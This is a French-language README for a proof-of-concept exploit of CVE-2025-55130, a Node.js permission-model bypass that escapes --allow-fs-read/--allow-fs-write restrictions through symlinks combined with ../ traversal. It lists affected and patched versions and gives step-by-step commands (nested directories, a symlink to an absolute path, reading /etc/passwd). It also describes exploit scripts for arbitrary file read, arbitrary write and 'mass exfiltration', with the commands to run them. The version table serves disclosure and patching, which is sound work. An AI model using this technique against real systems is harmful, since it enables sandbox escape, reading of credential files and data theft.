
POC pour CVE-2025-55130
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js Permission Model Bypass via Crafted Symlinks
[ Découvert par natann @ JFrog ]
Une faille de traversal de chemin dans Node.js permet de sortir des restrictions de permission --allow-fs-read et --allow-fs-write en utilisant des symlinks pointant vers des chemins absolus combinés à une traversal relative.
La vérification de permission et la résolution de chemin se produisent séparément. Une fois que le chemin initial passe la vérification de permission, le symlink est suivi et les séquences de traversal échappent au sandbox.
| Branche | Vulnérable | Corrigée |
|---|---|---|
| 20.x | < 20.20.0 | 20.20.0 |
| 22.x | < 22.22.0 | 22.22.0 |
| 24.x | < 24.13.0 | 24.13.0 |
| 25.x | < 25.3.0 | 25.3.0 |
Permission Check: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
Path Resolution: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Resolves to /etc/passwd - OUTSIDE SANDBOX
Le modèle de permission valide la chaîne de chemin avant la résolution du symlink. En créant un symlink vers un chemin absolu et en utilisant une traversal ../ APRÈS le symlink, nous sortons du répertoire autorisé.
1. mkdir -p ./a/b/c/d/e/f/g # Créer des répertoires imbriqués dans le chemin autorisé
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # Symlink vers un chemin absolu
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
La vérification de permission réussit (dans ./)
Après résolution du symlink :
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
La traversal échappe à la racine
| Fichier | Objectif |
|---|---|
exploit.js | Exploit principal - lire des fichiers arbitraires |
exploit_write.js | Écrire des fichiers arbitraires |
exfil.js | Exfiltration massive de fichiers |
check.js | Vérification de vulnérabilité de version |
# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# Check if vulnerable
node check.js
# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
Pour recherche et tests autorisés uniquement.